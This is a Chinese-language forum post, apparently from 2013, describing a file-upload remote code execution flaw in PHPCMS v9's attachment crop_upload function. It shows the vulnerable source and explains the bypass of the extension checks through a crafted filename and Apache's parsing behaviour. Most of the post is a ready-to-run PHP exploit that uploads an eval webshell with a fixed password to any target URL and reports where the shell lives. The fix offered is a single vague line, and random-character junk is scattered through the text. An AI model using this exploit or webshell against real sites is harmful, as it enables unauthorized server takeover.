找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2078|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行3 b2 \1 X# f" i* o( s3 ?
  q1 G9 L1 f8 c0 i( |
简要描述:5 p3 W1 `$ A* s( d, W0 [# g& h) I
2 H( ]5 ?  G) K" o
phpcms v9 getshell (apache)
' h' [# h) Q$ n  ]9 c详细说明:
8 {+ ?" B) r( I1 d) m) a
9 c4 d- f; v8 m' g漏洞文件:phpcms\modules\attachment\attachments.php+ H" j  T1 L7 d8 }4 P
4 v1 X8 @  S9 D+ G
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
6 k/ J" ]5 @- ], f% ^9 \后缀检测:phpcms\modules\attachment\functions\global.func.php
+ j2 S8 k8 d' Y8 u+ [& Q: ?. j2 ^7 e" F7 z& Z0 o
4 `/ K9 ?( g# b9 ?
! v( D7 O) U8 H
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
+ c1 t7 E5 K& b2 f+ `, O6 ?8 Q5 l; h1 ^! ]5 z/ j% g
关键函数:+ i. h# t& o" e9 L+ g0 R
5 T/ _8 C! W+ i1 k5 T4 ~0 C
$ z  c' ~5 g7 f5 F2 e+ J
4 o# _* H$ R2 U: N
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
7 A* D( a. y4 t$ ^4 H" I1 H2 V0 E. x; |! F. P8 w) z; s
  Fileext函数是对文件后缀名的提取。
! Y# M# t" d9 h: N8 N) {  n根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
5 k  i; a" L, X# X经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。" M0 F; e0 k% t. g; N
我们回到public function crop_upload() 函数中
4 ]9 o0 H7 o7 i8 T" |if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ l$ p1 y" R: H0 j9 X* _3 _在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
# ]- o% ], v, j% R这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。5 m0 c. b- `9 e0 [
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。7 Z) b0 [7 |4 g
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: A* Z3 J; a+ k# ^  y5 [" C
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 m0 n8 I- }9 b* o8 F漏洞证明:# i% o" z; I/ B4 f1 B. P" u$ ^  i
2 J/ e* [# h, z8 m# J) O7 R  M
exp:
$ Q/ d' N/ ~) X! W2 n% u) S( h! I4 s8 b: }; I
<?php4 e2 }) `6 s5 w" n& N
error_reporting(E_ERROR);
: n6 {- N8 j2 C. J) [+ |" ?% Pset_time_limit(0);
' v: `  m; u: N" f2 r4 x4 p% B$pass="ln";
6 v! Z6 r8 T5 U0 y3 Aprint_r('
$ O# t* a5 A  o" ]4 o+---------------------------------------------------------------------------+
3 U; x7 Q! j- A5 uPHPCms V9 GETSHELL 0DAY 0 O8 ?9 E9 ^( g" H4 N
code by L.N.: J+ L1 a/ I1 d* B( B1 m. d

1 N9 m$ {. d, i. ~: ^! U; ^8 xapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
9 o7 D$ w# X3 X) I+ o$ w7 s+---------------------------------------------------------------------------+
1 T- |! k0 l: U; o- G, x0 f2 p, Y');4 G3 }; ^4 q- n: W1 |
if ($argc < 2) {% C  z# e! i) _- P
print_r('
2 c. f" V! H8 y+---------------------------------------------------------------------------+
3 g7 M; q% g; {Usage: php '.$argv[0].' url path
. e+ f/ m1 K7 l8 U
( B$ [7 ~. T; w5 S# Z8 z/ QExample:
; O. @* q9 P0 H& p1.php '.$argv[0].' lanu.sinaapp.com
+ _. u, I( b! r. J: f( r" K6 Q2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 [0 I3 x# \% v" n- ]+---------------------------------------------------------------------------+3 n1 r- C, M+ P5 X& h
');
/ ^) X9 ^1 s& T7 s, o; aexit;0 q1 E. J% W# f! {" U
}& l. R  m7 k% O  u/ c$ m
9 a9 ~! {# i* g- _9 G. G. s3 u
$url = $argv[1];2 ]; u) M" Z/ T4 U; k* K# `
$path = $argv[2];& ]5 B+ p5 N2 e/ |5 F8 h6 U8 K
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
& W- |4 P( z" t- w+ [/ W! S$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 f- @* X& b% X0 q0 }if($ret=Create_dir($url,$path)), j1 K0 a  r$ M! Y$ V" g7 i/ o
{
9 V. Y  x# T( O9 _) ]//echo $ret;; n  p! q' O" G3 ]1 E
$pattern = "|Server:[^,]+?|U";
1 w7 X/ ~9 I  _1 wpreg_match_all($pattern, $ret, $matches);, ]0 G8 b% g  `' l
if($matches[0][0])1 r. ]. [' }* g6 ~
{
: A7 ^" }/ ~% ?( D; c+ rif(strpos($matches[0][0],'Apache') == false). X) A% c; ]+ `# C& `
{# L: ^0 k- ~6 {+ K0 w( L
echo "\n亲!此网站不是apache的网站。\n";exit;4 B8 ]% s8 w+ E+ j- I% Q
}
+ f+ n. _" `/ T6 s5 n2 n& K, R}
7 m6 [+ z* X+ J4 _' q1 S$ret = GetShell($url,$phpshell,$path,$file);
. K7 E! o+ A# ^- V; R8 H# ^$pattern = "|http:\/\/[^,]+?\.,?|U";
: S" X# ]: @+ ~7 T* g0 x" |1 [7 Z$ T1 x; xpreg_match_all($pattern, $ret, $matches);5 t0 d+ _0 H' ?' h1 T
if($matches[0][0])! ~( [  d$ |$ \
{: ^8 Z7 E* K/ A6 A: d
echo "\n".'密码为: '.$pass."\n";
* P0 ?  D! b3 F9 p# ?echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;/ d2 X) r# P( o
}
! J- B' w6 i: [3 |else4 x; P' e* ^* n" t
{& J+ v3 M6 _/ E) h
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";' _. O$ s' U/ q# {; o
preg_match_all($pattern, $ret, $matches);
( |6 A/ z* E3 E* B6 Aif($matches[0][0])5 U5 ^  r: D4 D! ?
{3 j- A3 \. a4 K" U
echo "\n".'密码为: '.$pass."\n";
! A9 }4 S/ j+ _* H8 Eecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 v/ E2 g1 q% _$ b) X  g}% f$ K  b# s; g) V" Y; `; B
else
8 g' C, j* ~4 Y1 e" I1 N. f{
1 b  e% n5 B! m) \echo "\r\n没得到!\n";exit;
: V0 t+ B+ f+ q}# k! T. }, c1 U" a! V
}
2 s- }6 D5 \# M9 ?' A- u}
+ G  `) z7 h. B- W3 c6 {& B- W- B% F3 V* S/ E) J) K" o7 h
function GetShell($url,$shell,$path,$js)7 u- i8 b0 E5 w: B
{
1 I7 e/ V# s7 _- s6 W; r% |$content =$shell;+ N* A! u0 w" m( ]1 }
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 S3 K3 ^9 b+ M  ~; w6 o
$data .= "Host: ".$url."\r\n";
" m& J1 ?6 o6 d- J9 I1 k$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% @. V2 y: T' @- Q0 B7 V" m8 j9 u% m4 |$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; P+ V( ~& @' c7 }: z1 w2 D% h$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
3 J) F; N; o/ i) }) @  b$data .= "Connection: close\r\n";! s" m: o' n0 t, D5 i. i- e
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! h2 t, Y9 p9 Q$ q; v$data .= $content."\r\n";
% B' B% E: z, D, K' e" r+ g0 Q$ock=fsockopen($url,80);
6 d( F: s0 I) j3 B2 u( g1 Q$ Jif (!$ock)
/ \4 [3 _* \1 W: x0 S% c/ S  x{" L2 _0 d) |5 c8 d/ V. J' A
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;; b+ i4 G9 Z/ d, ]
}4 F* H, H0 B, r1 ?% Y
else& r( O% L2 H/ v
{
) a4 D+ L9 \9 j$ e8 k7 qfwrite($ock,$data);/ F) P6 y1 Y+ M2 I( Q
$resp = '';
( Q/ |7 C& P  L# ^while (!feof($ock))
8 X  D- I' U( X* B{3 S' y; i$ Y# ~8 ]* M
$resp.=fread($ock, 1024);+ m, i6 ]7 ~- \9 b
}5 F0 i/ V6 c3 q2 ]  ?. n
return $resp;
0 z4 J$ x4 T& i/ i# B}# I5 ]$ ?2 R8 }
}
, D3 i: `4 E4 z* D5 N; w/ O$ V( p6 p( U; i0 ^5 q" Y) a( _
function Create_dir($url,$path='')  c# F2 }# O; p
{
7 R: o2 Y7 m- W6 F4 w* X* D+ H* R. V$content ='I love you';
* O& N4 c$ Y% m. S# K$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 E, q0 A3 c( X# X$ I1 E
$data .= "Host: ".$url."\r\n";
1 [; W  n$ d$ Z, x9 M6 t$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ E2 i2 J9 B; i8 `  U/ D( _0 D
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";5 S; q" K- J, _
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 _5 _: o$ l2 e% `) g; C, F2 q$data .= "Connection: close\r\n";+ Z2 {4 [% q# _  |, A2 }
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 y% n5 a3 o% j- _: L$ w  d) S- I$data .= $content."\r\n";
3 b: W% D! q' z9 n+ Q$ock=fsockopen($url,80);
8 |3 P5 N& y- M7 F, Tif (!$ock)( Q$ `+ n' B4 U6 B. N) S" [
{
. R1 j) Y+ P1 k, E- }echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;# p' u- M. K7 w4 S( h: {- e1 i
}9 E% J. m3 o# J7 T) M& d) I
fwrite($ock,$data);& r4 w# k& s0 s( ]* O  p, X7 T
$resp = '';$ E) l% X' i/ Q" M
while (!feof($ock))# T* g6 l" Z" G; K9 c. Q7 D( n- n
{5 }1 p1 o* c. }5 c7 U+ P
$resp.=fread($ock, 1024);
* D+ [7 ]  n2 \$ L$ ?+ ^}
# O6 A0 {, S5 c4 Y& nreturn $resp;0 |5 ^! J( G! _, U, L
}! A, t9 L# g2 c) f9 J% t' i( s3 k! ~  [
?>
+ Z- `/ a& M7 q) k/ P : q" q" d8 ]) `( }; l# S4 O0 x& x
修复方案:
' c( D4 b& @, i. X( |3 e/ S3 q* s( [6 b# s- t
过滤过滤再过滤
/ D  c. _0 l6 P7 r9 o
  e/ c& C9 \5 V' g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表